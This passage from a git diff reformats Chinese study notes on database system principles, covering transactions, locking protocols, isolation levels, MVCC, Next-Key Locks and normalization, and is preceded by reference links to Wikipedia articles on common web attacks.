-- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
-- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
-- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
-- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
+- [维基百科：跨站脚本](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
+- [维基百科：SQL 注入攻击](https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A)
+- [维基百科：跨站点请求伪造](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
+- [维基百科：拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index 9b64c774..8e6310c7 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,72 +1,28 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、事务](#一事务)
-    * [概念](#概念)
-    * [ACID](#acid)
-    * [AUTOCOMMIT](#autocommit)
-* [二、并发一致性问题](#二并发一致性问题)
-    * [丢失修改](#丢失修改)
-    * [读脏数据](#读脏数据)
-    * [不可重复读](#不可重复读)
-    * [幻影读](#幻影读)
-* [三、封锁](#三封锁)
-    * [封锁粒度](#封锁粒度)
-    * [封锁类型](#封锁类型)
-    * [封锁协议](#封锁协议)
-    * [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)
-* [四、隔离级别](#四隔离级别)
-    * [未提交读（READ UNCOMMITTED）](#未提交读read-uncommitted)
-    * [提交读（READ COMMITTED）](#提交读read-committed)
-    * [可重复读（REPEATABLE READ）](#可重复读repeatable-read)
-    * [可串行化（SERIALIZABLE）](#可串行化serializable)
-* [五、多版本并发控制](#五多版本并发控制)
-    * [版本号](#版本号)
-    * [隐藏的列](#隐藏的列)
-    * [Undo 日志](#undo-日志)
-    * [实现过程](#实现过程)
-    * [快照读与当前读](#快照读与当前读)
-* [六、Next-Key Locks](#六next-key-locks)
-    * [Record Locks](#record-locks)
-    * [Gap Locks](#gap-locks)
-    * [Next-Key Locks](#next-key-locks)
-* [七、关系数据库设计理论](#七关系数据库设计理论)
-    * [函数依赖](#函数依赖)
-    * [异常](#异常)
-    * [范式](#范式)
-* [八、ER 图](#八er-图)
-    * [实体的三种联系](#实体的三种联系)
-    * [表示出现多次的关系](#表示出现多次的关系)
-    * [联系的多向性](#联系的多向性)
-    * [表示子类](#表示子类)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、事务
 
+## 概念
 
-# 一、事务
+事务指的是满足 ACID 特性的一组操作，可以通过 Commit 提交一个事务，也可以使用 Rollback 进行回滚。
 
-## 概念
+<img src="index_files/bae98438-7db6-41a6-893e-8813248f2f92.jpg" width="400"/>
 
-事务指的是满足 ACID 特性的一组操作，可以通过 Commit 提交一个事务，也可以使用 Rollback 进行回滚。
+## ACID
 
-<div align="center"> <img src="pics/bae98438-7db6-41a6-893e-8813248f2f92.jpg" width="400"/> </div><br>
-
-## ACID
-
-### 1. 原子性（Atomicity）
+### 1. 原子性（Atomicity）
 
 事务被视为不可分割的最小单元，事务的所有操作要么全部提交成功，要么全部失败回滚。
 
 回滚可以用回滚日志来实现，回滚日志记录着事务所执行的修改操作，在回滚时反向执行这些修改操作即可。
 
-### 2. 一致性（Consistency）
+### 2. 一致性（Consistency）
 
 数据库在事务执行前后都保持一致性状态。在一致性状态下，所有事务对一个数据的读取结果都是相同的。
 
-### 3. 隔离性（Isolation）
+### 3. 隔离性（Isolation）
 
 一个事务所做的修改在最终提交以前，对其它事务是不可见的。
 
-### 4. 持久性（Durability）
+### 4. 持久性（Durability）
 
 一旦事务提交，则其所做的修改将会永远保存到数据库中。即使系统发生崩溃，事务执行的结果也不能丢失。
 
@@ -74,58 +30,58 @@
 
 ----
 
-事务的 ACID 特性概念简单，但不是很好理解，主要是因为这几个特性不是一种平级关系：
+事务的 ACID 特性概念简单，但不是很好理解，主要是因为这几个特性不是一种平级关系：
 
-- 只有满足一致性，事务的执行结果才是正确的。
-- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时只要能满足原子性，就一定能满足一致性。
-- 在并发的情况下，多个事务并行执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
-- 事务满足持久化是为了能应对数据库崩溃的情况。
+- 只有满足一致性，事务的执行结果才是正确的。
+- 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时只要能满足原子性，就一定能满足一致性。
+- 在并发的情况下，多个事务并行执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
+- 事务满足持久化是为了能应对数据库崩溃的情况。
 
-<div align="center"> <img src="pics/6675d713-8b59-4067-ad16-fdd538d4bb43.png" width="500"/> </div><br>
+<img src="index_files/6675d713-8b59-4067-ad16-fdd538d4bb43.png" width="500"/>
 
-## AUTOCOMMIT
+## AUTOCOMMIT
 
-MySQL 默认采用自动提交模式。也就是说，如果不显式使用`START TRANSACTION`语句来开始一个事务，那么每个查询都会被当做一个事务自动提交。
+MySQL 默认采用自动提交模式。也就是说，如果不显式使用`START TRANSACTION`语句来开始一个事务，那么每个查询都会被当做一个事务自动提交。
 
-# 二、并发一致性问题
+# 二、并发一致性问题
 
 在并发环境下，事务的隔离性很难保证，因此会出现很多并发一致性问题。
 
-## 丢失修改
+## 丢失修改
 
-T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改，T<sub>1</sub> 先修改，T<sub>2</sub> 随后修改，T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
+T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改，T<sub>1</sub> 先修改，T<sub>2</sub> 随后修改，T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
 
-<div align="center"> <img src="pics/d5dfeb74-a27a-43b8-9121-191d3cb75198.png" width="350"/> </div><br>
+<img src="index_files/d5dfeb74-a27a-43b8-9121-191d3cb75198.png" width="350"/>
 
-## 读脏数据
+## 读脏数据
 
-T<sub>1</sub> 修改一个数据，T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改，那么 T<sub>2</sub> 读取的数据是脏数据。
+T<sub>1</sub> 修改一个数据，T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改，那么 T<sub>2</sub> 读取的数据是脏数据。
 
-<div align="center"> <img src="pics/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png" width="400"/> </div><br>
+<img src="index_files/16eea7d2-f5f5-4180-93be-dba7d4e48f5d.png" width="400"/>
 
-## 不可重复读
+## 不可重复读
 
-T<sub>2</sub> 读取一个数据，T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据，此时读取的结果和第一次读取的结果不同。
+T<sub>2</sub> 读取一个数据，T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据，此时读取的结果和第一次读取的结果不同。
 
-<div align="center"> <img src="pics/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png" width="400"/> </div><br>
+<img src="index_files/036c0e07-0725-4b3c-a684-ab3b16ca7b86.png" width="400"/>
 
 
-## 幻影读
+## 幻影读
 
-T<sub>1</sub> 读取某个范围的数据，T<sub>2</sub> 在这个范围内插入新的数据，T<sub>1</sub> 再次读取这个范围的数据，此时读取的结果和和第一次读取的结果不同。
+T<sub>1</sub> 读取某个范围的数据，T<sub>2</sub> 在这个范围内插入新的数据，T<sub>1</sub> 再次读取这个范围的数据，此时读取的结果和和第一次读取的结果不同。
 
-<div align="center"> <img src="pics/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png" width="400"/> </div><br>
+<img src="index_files/2c437953-08b1-47b9-a780-7dfdc90a3b6f.png" width="400"/>
 
 
 ----
 
 产生并发不一致性问题主要原因是破坏了事务的隔离性，解决方法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现，但是封锁操作需要用户自己控制，相当复杂。数据库管理系统提供了事务的隔离级别，让用户以一种更轻松的方式处理并发一致性问题。
 
-# 三、封锁
+# 三、封锁
 
-## 封锁粒度
+## 封锁粒度
 
-MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
+MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
 
 应该尽量只锁定需要修改的那部分数据，而不是所有的资源。锁定的数据量越少，发生锁争用的可能就越小，系统的并发程度就越高。
 
@@ -133,122 +89,122 @@ MySQL 中提供了两种封锁粒度：行级锁以及表级锁。
 
 在选择封锁粒度时，需要在锁开销和并发程度之间做一个权衡。
 
-<div align="center"> <img src="pics/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/> </div><br>
+<img src="index_files/1a851e90-0d5c-4d4f-ac54-34c20ecfb903.jpg" width="300"/>
 
-## 封锁类型
+## 封锁类型
 
-### 1. 读写锁
+### 1. 读写锁
 
-- 排它锁（Exclusive），简写为 X 锁，又称写锁。
-- 共享锁（Shared），简写为 S 锁，又称读锁。
+- 排它锁（Exclusive），简写为 X 锁，又称写锁。
+- 共享锁（Shared），简写为 S 锁，又称读锁。
 
 有以下两个规定：
 
-- 一个事务对数据对象 A 加了 X 锁，就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
-- 一个事务对数据对象 A 加了 S 锁，可以对 A 进行读取操作，但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁，但是不能加 X 锁。
+- 一个事务对数据对象 A 加了 X 锁，就可以对 A 进行读取和更新。加锁期间其它事务不能对 A 加任何锁。
+- 一个事务对数据对象 A 加了 S 锁，可以对 A 进行读取操作，但是不能进行更新操作。加锁期间其它事务能对 A 加 S 锁，但是不能加 X 锁。
 
 锁的兼容关系如下：
 
-| - | X | S |
-| :--: | :--: | :--: |
+| - | X | S |
+| :--: | :--: | :--: |
 |X|×|×|
 |S|×|√|
 
-### 2. 意向锁
+### 2. 意向锁
 
-使用意向锁（Intention Locks）可以更容易地支持多粒度封锁。
+使用意向锁（Intention Locks）可以更容易地支持多粒度封锁。
 
-在存在行级锁和表级锁的情况下，事务 T 想要对表 A 加 X 锁，就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁，那么就需要对表 A 的每一行都检测一次，这是非常耗时的。
+在存在行级锁和表级锁的情况下，事务 T 想要对表 A 加 X 锁，就需要先检测是否有其它事务对表 A 或者表 A 中的任意一行加了锁，那么就需要对表 A 的每一行都检测一次，这是非常耗时的。
 
-意向锁在原来的 X/S 锁之上引入了 IX/IS，IX/IS 都是表锁，用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定：
+意向锁在原来的 X/S 锁之上引入了 IX/IS，IX/IS 都是表锁，用来表示一个事务想要在表中的某个数据行上加 X 锁或 S 锁。有以下两个规定：
 
-- 一个事务在获得某个数据行对象的 S 锁之前，必须先获得表的 IS 锁或者更强的锁；
-- 一个事务在获得某个数据行对象的 X 锁之前，必须先获得表的 IX 锁。
+- 一个事务在获得某个数据行对象的 S 锁之前，必须先获得表的 IS 锁或者更强的锁；
+- 一个事务在获得某个数据行对象的 X 锁之前，必须先获得表的 IX 锁。
 
-通过引入意向锁，事务 T 想要对表 A 加 X 锁，只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁，如果加了就表示有其它事务正在使用这个表或者表中某一行的锁，因此事务 T 加 X 锁失败。
+通过引入意向锁，事务 T 想要对表 A 加 X 锁，只需要先检测是否有其它事务对表 A 加了 X/IX/S/IS 锁，如果加了就表示有其它事务正在使用这个表或者表中某一行的锁，因此事务 T 加 X 锁失败。
 
 各种锁的兼容关系如下：
 
-| - | X | IX | S | IS |
-| :--: | :--: | :--: | :--: | :--: |
-|X     |×    |×    |×   | ×|
-|IX    |×    |√   |×   | √|
-|S     |×    |×    |√  | √|
-|IS    |×    |√  |√  | √|
+| - | X | IX | S | IS |
+| :--: | :--: | :--: | :--: | :--: |
+|X     |×    |×    |×   | ×|
+|IX    |×    |√   |×   | √|
+|S     |×    |×    |√  | √|
+|IS    |×    |√  |√  | √|
 
 解释如下：
 
-- 任意 IS/IX 锁之间都是兼容的，因为它们只是表示想要对表加锁，而不是真正加锁；
-- S 锁只与 S 锁和 IS 锁兼容，也就是说事务 T 想要对数据行加 S 锁，其它事务可以已经获得对表或者表中的行的 S 锁。
+- 任意 IS/IX 锁之间都是兼容的，因为它们只是表示想要对表加锁，而不是真正加锁；
+- S 锁只与 S 锁和 IS 锁兼容，也就是说事务 T 想要对数据行加 S 锁，其它事务可以已经获得对表或者表中的行的 S 锁。
 
-## 封锁协议
+## 封锁协议
 
-### 1. 三级封锁协议
+### 1. 三级封锁协议
 
-**一级封锁协议** 
+**一级封锁协议**
 
-事务 T 要修改数据 A 时必须加 X 锁，直到 T 结束才释放锁。
+事务 T 要修改数据 A 时必须加 X 锁，直到 T 结束才释放锁。
 
 可以解决丢失修改问题，因为不能同时有两个事务对同一个数据进行修改，那么事务的修改就不会被覆盖。
 
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-x(A) | |
-| read A=20 | |
-| | lock-x(A) |
-|  | wait |
-| write A=19 |. |
-| commit |. |
-| unlock-x(A) |. |
-| | obtain |
-| | read A=19 |
-| | write A=21 |
-| | commit |
-| | unlock-x(A)|
+| T<sub>1</sub> | T<sub>2</sub> |
+| :--: | :--: |
+| lock-x(A) | |
+| read A=20 | |
+| | lock-x(A) |
+|  | wait |
+| write A=19 |. |
+| commit |. |
+| unlock-x(A) |. |
+| | obtain |
+| | read A=19 |
+| | write A=21 |
+| | commit |
+| | unlock-x(A)|
 
-**二级封锁协议** 
+**二级封锁协议**
 
-在一级的基础上，要求读取数据 A 时必须加 S 锁，读取完马上释放 S 锁。
+在一级的基础上，要求读取数据 A 时必须加 S 锁，读取完马上释放 S 锁。
 
-可以解决读脏数据问题，因为如果一个事务在对数据 A 进行修改，根据 1 级封锁协议，会加 X 锁，那么就不能再加 S 锁了，也就是不会读入数据。
+可以解决读脏数据问题，因为如果一个事务在对数据 A 进行修改，根据 1 级封锁协议，会加 X 锁，那么就不能再加 S 锁了，也就是不会读入数据。
 
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-x(A) | |
-| read A=20 | |
-| write A=19 | |
-| | lock-s(A) |
-|  | wait |
-| rollback | .|
-| A=20 |. |
-| unlock-x(A) |. |
-| | obtain |
-| | read A=20 |
-| | unlock-s(A)|
-| | commit |
+| T<sub>1</sub> | T<sub>2</sub> |
+| :--: | :--: |
+| lock-x(A) | |
+| read A=20 | |
+| write A=19 | |
+| | lock-s(A) |
+|  | wait |
+| rollback | .|
+| A=20 |. |
+| unlock-x(A) |. |
+| | obtain |
+| | read A=20 |
+| | unlock-s(A)|
+| | commit |
 
-**三级封锁协议** 
+**三级封锁协议**
 
-在二级的基础上，要求读取数据 A 时必须加 S 锁，直到事务结束了才能释放 S 锁。
+在二级的基础上，要求读取数据 A 时必须加 S 锁，直到事务结束了才能释放 S 锁。
 
-可以解决不可重复读的问题，因为读 A 时，其它事务不能对 A 加 X 锁，从而避免了在读的期间数据发生改变。
+可以解决不可重复读的问题，因为读 A 时，其它事务不能对 A 加 X 锁，从而避免了在读的期间数据发生改变。
 
-| T<sub>1</sub> | T<sub>2</sub> |
-| :--: | :--: |
-| lock-s(A) | |
-| read A=20 | |
-|  |lock-x(A) |
-| | wait |
-|  read A=20| . |
-| commit | .|
-| unlock-s(A) |. |
-| | obtain |
-| | read A=20 |
-| | write A=19|
-| | commit |
-| | unlock-X(A)|
+| T<sub>1</sub> | T<sub>2</sub> |
+| :--: | :--: |
+| lock-s(A) | |
+| read A=20 | |
+|  |lock-x(A) |
+| | wait |
+|  read A=20| . |
+| commit | .|
+| unlock-s(A) |. |
+| | obtain |
+| | read A=20 |
+| | write A=19|
+| | commit |
+| | unlock-X(A)|
 
-### 2. 两段锁协议
+### 2. 两段锁协议
 
 加锁和解锁分为两个阶段进行。
 
@@ -266,317 +222,332 @@ lock-x(A)...lock-s(B)...lock-s(C)...unlock(A)...unlock(C)...unlock(B)
 lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(C)...unlock(C)
 ```
 
-## MySQL 隐式与显示锁定
+## MySQL 隐式与显示锁定
 
-MySQL 的 InnoDB 存储引擎采用两段锁协议，会根据隔离级别在需要的时候自动加锁，并且所有的锁都是在同一时刻被释放，这被称为隐式锁定。
+MySQL 的 InnoDB 存储引擎采用两段锁协议，会根据隔离级别在需要的时候自动加锁，并且所有的锁都是在同一时刻被释放，这被称为隐式锁定。
 
-InnoDB 也可以使用特定的语句进行显示锁定：
+InnoDB 也可以使用特定的语句进行显示锁定：
 
 ```sql
-SELECT ... LOCK In SHARE MODE;
-SELECT ... FOR UPDATE;
+SELECT ... LOCK In SHARE MODE;
+SELECT ... FOR UPDATE;
 ```
 
-# 四、隔离级别
+# 四、隔离级别
 
-## 未提交读（READ UNCOMMITTED）
+## 未提交读（READ UNCOMMITTED）
 
 事务中的修改，即使没有提交，对其它事务也是可见的。
 
-## 提交读（READ COMMITTED）
+## 提交读（READ COMMITTED）
 
 一个事务只能读取已经提交的事务所做的修改。换句话说，一个事务所做的修改在提交之前对其它事务是不可见的。
 
-## 可重复读（REPEATABLE READ）
+## 可重复读（REPEATABLE READ）
 
 保证在同一个事务中多次读取同样数据的结果是一样的。
 
-## 可串行化（SERIALIZABLE）
+## 可串行化（SERIALIZABLE）
 
 强制事务串行执行。
 
 ----
 
-| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
-| :---: | :---: | :---:| :---: | :---: |
-| 未提交读 | √ | √ | √ | × |
-| 提交读 | × | √ | √ | × |
-| 可重复读 | × | × | √ | × |
-| 可串行化 | × | × | × | √ |
+| 隔离级别 | 脏读 | 不可重复读 | 幻影读 | 加锁读 |
+| :---: | :---: | :---:| :---: | :---: |
+| 未提交读 | √ | √ | √ | × |
+| 提交读 | × | √ | √ | × |
+| 可重复读 | × | × | √ | × |
+| 可串行化 | × | × | × | √ |
 
-# 五、多版本并发控制
+# 五、多版本并发控制
 
-多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。
+多版本并发控制（Multi-Version Concurrency Control, MVCC）是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式，用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行，无需使用 MVCC。可串行化隔离级别需要对所有读取的行都加锁，单纯使用 MVCC 无法实现。
 
-## 版本号
+## 版本号
 
-- 系统版本号：是一个递增的数字，每开始一个新的事务，系统版本号就会自动递增。
-- 事务版本号：事务开始时的系统版本号。
+- 系统版本号：是一个递增的数字，每开始一个新的事务，系统版本号就会自动递增。
+- 事务版本号：事务开始时的系统版本号。
 
-## 隐藏的列
+## 隐藏的列
 
-MVCC 在每行记录后面都保存着两个隐藏的列，用来存储两个版本号：
+MVCC 在每行记录后面都保存着两个隐藏的列，用来存储两个版本号：
 
-- 创建版本号：指示创建一个数据行的快照时的系统版本号；
-- 删除版本号：如果该快照的删除版本号大于当前事务版本号表示该快照有效，否则表示该快照已经被删除了。
+- 创建版本号：指示创建一个数据行的快照时的系统版本号；
+- 删除版本号：如果该快照的删除版本号大于当前事务版本号表示该快照有效，否则表示该快照已经被删除了。
 
-## Undo 日志
+## Undo 日志
 
-MVCC 使用到的快照存储在 Undo 日志中，该日志通过回滚指针把一个数据行（Record）的所有快照连接起来。
+MVCC 使用到的快照存储在 Undo 日志中，该日志通过回滚指针把一个数据行（Record）的所有快照连接起来。
 
-<div align="center"> <img src="pics/e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/> </div><br>
+<img src="index_files/e41405a8-7c05-4f70-8092-e961e28d3112.jpg" width=""/>
 
-## 实现过程
+## 实现过程
 
 以下实现过程针对可重复读隔离级别。
 
 当开始新一个事务时，该事务的版本号肯定会大于当前所有数据行快照的创建版本号，理解这一点很关键。
 
-### 1. SELECT
+### 1. SELECT
 
 多个事务必须读取到同一个数据行的快照，并且这个快照是距离现在最近的一个有效快照。但是也有例外，如果有一个事务正在修改该数据行，那么它可以读取事务本身所做的修改，而不用和其它事务的读取结果一致。
 
-把没有对一个数据行做修改的事务称为 T，T 所要读取的数据行快照的创建版本号必须小于 T 的版本号，因为如果大于或者等于 T 的版本号，那么表示该数据行快照是其它事务的最新修改，因此不能去读取它。除此之外，T 所要读取的数据行快照的删除版本号必须大于 T 的版本号，因为如果小于等于 T 的版本号，那么表示该数据行快照是已经被删除的，不应该去读取它。
+把没有对一个数据行做修改的事务称为 T，T 所要读取的数据行快照的创建版本号必须小于 T 的版本号，因为如果大于或者等于 T 的版本号，那么表示该数据行快照是其它事务的最新修改，因此不能去读取它。除此之外，T 所要读取的数据行快照的删除版本号必须大于 T 的版本号，因为如果小于等于 T 的版本号，那么表示该数据行快照是已经被删除的，不应该去读取它。
 
-### 2. INSERT
+### 2. INSERT
 
 将当前系统版本号作为数据行快照的创建版本号。
 
-### 3. DELETE
+### 3. DELETE
 
 将当前系统版本号作为数据行快照的删除版本号。
 
-### 4. UPDATE
+### 4. UPDATE
 
-将当前系统版本号作为更新前的数据行快照的删除版本号，并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
+将当前系统版本号作为更新前的数据行快照的删除版本号，并将当前系统版本号作为更新后的数据行快照的创建版本号。可以理解为先执行 DELETE 后执行 INSERT。
 
-## 快照读与当前读
+## 快照读与当前读
 
-### 1. 快照读
+### 1. 快照读
 
-使用 MVCC 读取的是快照中的数据，这样可以减少加锁所带来的开销。
+使用 MVCC 读取的是快照中的数据，这样可以减少加锁所带来的开销。
 
 ```sql
-select * from table ...;
+select * from table ...;
 ```
 
-### 2. 当前读
+### 2. 当前读
 
-读取的是最新的数据，需要加锁。以下第一个语句需要加 S 锁，其它都需要加 X 锁。
+读取的是最新的数据，需要加锁。以下第一个语句需要加 S 锁，其它都需要加 X 锁。
 
 ```sql
-select * from table where ? lock in share mode;
-select * from table where ? for update;
+select * from table where ? lock in share mode;
+select * from table where ? for update;
 insert;
 update;
 delete;
 ```
 
-# 六、Next-Key Locks
+# 六、Next-Key Locks
 
-Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
+Next-Key Locks 是 MySQL 的 InnoDB 存储引擎的一种锁实现。
 
-MVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。
+MVCC 不能解决幻读的问题，Next-Key Locks 就是为了解决这个问题而存在的。在可重复读（REPEATABLE READ）隔离级别下，使用 MVCC + Next-Key Locks 可以解决幻读问题。
 
-## Record Locks
+## Record Locks
 
 锁定一个记录上的索引，而不是记录本身。
 
-如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚簇索引，因此 Record Locks 依然可以使用。
+如果表没有设置索引，InnoDB 会自动在主键上创建隐藏的聚簇索引，因此 Record Locks 依然可以使用。
 
-## Gap Locks
+## Gap Locks
 
-锁定索引之间的间隙，但是不包含索引本身。例如当一个事务执行以下语句，其它事务就不能在 t.c 中插入 15。
+锁定索引之间的间隙，但是不包含索引本身。例如当一个事务执行以下语句，其它事务就不能在 t.c 中插入 15。
 
 ```sql
-SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
+SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
 ```
 
-## Next-Key Locks
+## Next-Key Locks
 
-它是 Record Locks 和 Gap Locks 的结合，不仅锁定一个记录上的索引，也锁定索引之间的间隙。例如一个索引包含以下值：10, 11, 13, and 20，那么就需要锁定以下区间：
+它是 Record Locks 和 Gap Locks 的结合，不仅锁定一个记录上的索引，也锁定索引之间的间隙。例如一个索引包含以下值：10, 11, 13, and 20，那么就需要锁定以下区间：
 
 ```sql
-(negative infinity, 10]
-(10, 11]
-(11, 13]
-(13, 20]
-(20, positive infinity)
+(negative infinity, 10]
+(10, 11]
+(11, 13]
+(13, 20]
+(20, positive infinity)
 ```
 
-# 七、关系数据库设计理论
+# 七、关系数据库设计理论
 
-## 函数依赖
+## 函数依赖
 
-记 A->B 表示 A 函数决定 B，也可以说 B 函数依赖于 A。
+记 A->B 表示 A 函数决定 B，也可以说 B 函数依赖于 A。
 
-如果 {A1，A2，... ，An} 是关系的一个或多个属性的集合，该集合函数决定了关系的其它所有属性并且是最小的，那么该集合就称为键码。
+如果 {A1，A2，... ，An} 是关系的一个或多个属性的集合，该集合函数决定了关系的其它所有属性并且是最小的，那么该集合就称为键码。
 
-对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖。
+对于 A->B，如果能找到 A 的真子集 A'，使得 A'-> B，那么 A->B 就是部分函数依赖，否则就是完全函数依赖。
 
-对于 A->B，B->C，则 A->C 是一个传递函数依赖。
+对于 A->B，B->C，则 A->C 是一个传递函数依赖。
 
-## 异常
+## 异常
 
-以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade，键码为 {Sno, Cname}。也就是说，确定学生和课程之后，就能确定其它信息。
+以下的学生课程关系的函数依赖为 Sno, Cname -> Sname, Sdept, Mname, Grade，键码为 {Sno, Cname}。也就是说，确定学生和课程之后，就能确定其它信息。
 
-| Sno | Sname | Sdept | Mname | Cname | Grade |
-| :---: | :---: | :---: | :---: | :---: |:---:|
-| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
-| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
+| Sno | Sname | Sdept | Mname | Cname | Grade |
+| :---: | :---: | :---: | :---: | :---: |:---:|
+| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
+| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
 
 不符合范式的关系，会产生很多异常，主要有以下四种异常：
 
-- 冗余数据：例如 `学生-2` 出现了两次。
-- 修改异常：修改了一个记录中的信息，但是另一个记录中相同的信息却没有被修改。
-- 删除异常：删除一个信息，那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行，那么 `学生-1` 的信息就会丢失。
-- 插入异常：例如想要插入一个学生的信息，如果这个学生还没选课，那么就无法插入。
+- 冗余数据：例如 `学生-2` 出现了两次。
+- 修改异常：修改了一个记录中的信息，但是另一个记录中相同的信息却没有被修改。
+- 删除异常：删除一个信息，那么也会丢失其它信息。例如删除了 `课程-1` 需要删除第一行和第三行，那么 `学生-1` 的信息就会丢失。
+- 插入异常：例如想要插入一个学生的信息，如果这个学生还没选课，那么就无法插入。
 
-## 范式
+## 范式
 
 范式理论是为了解决以上提到四种异常。
 
-高级别范式的依赖于低级别的范式，1NF 是最低级别的范式。
+高级别范式的依赖于低级别的范式，1NF 是最低级别的范式。
 
-<div align="center"> <img src="pics/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/> </div><br>
+<img src="index_files/c2d343f7-604c-4856-9a3c-c71d6f67fecc.png" width="300"/>
 
-### 1. 第一范式 (1NF)
+### 1. 第一范式 (1NF)
 
 属性不可分。
 
-### 2. 第二范式 (2NF)
+### 2. 第二范式 (2NF)
 
 每个非主属性完全函数依赖于键码。
 
 可以通过分解来满足。
 
-<font size=4> **分解前** </font><br>
+<font size=4>**分解前**</font><br>
 
-| Sno | Sname | Sdept | Mname | Cname | Grade |
-| :---: | :---: | :---: | :---: | :---: |:---:|
-| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
-| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
-| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
+| Sno | Sname | Sdept | Mname | Cname | Grade |
+| :---: | :---: | :---: | :---: | :---: |:---:|
+| 1 | 学生-1 | 学院-1 | 院长-1 | 课程-1 | 90 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-2 | 80 |
+| 2 | 学生-2 | 学院-2 | 院长-2 | 课程-1 | 100 |
+| 3 | 学生-3 | 学院-2 | 院长-2 | 课程-2 | 95 |
 
-以上学生课程关系中，{Sno, Cname} 为键码，有如下函数依赖：
+以上学生课程关系中，{Sno, Cname} 为键码，有如下函数依赖：
 
-- Sno -> Sname, Sdept
-- Sdept -> Mname
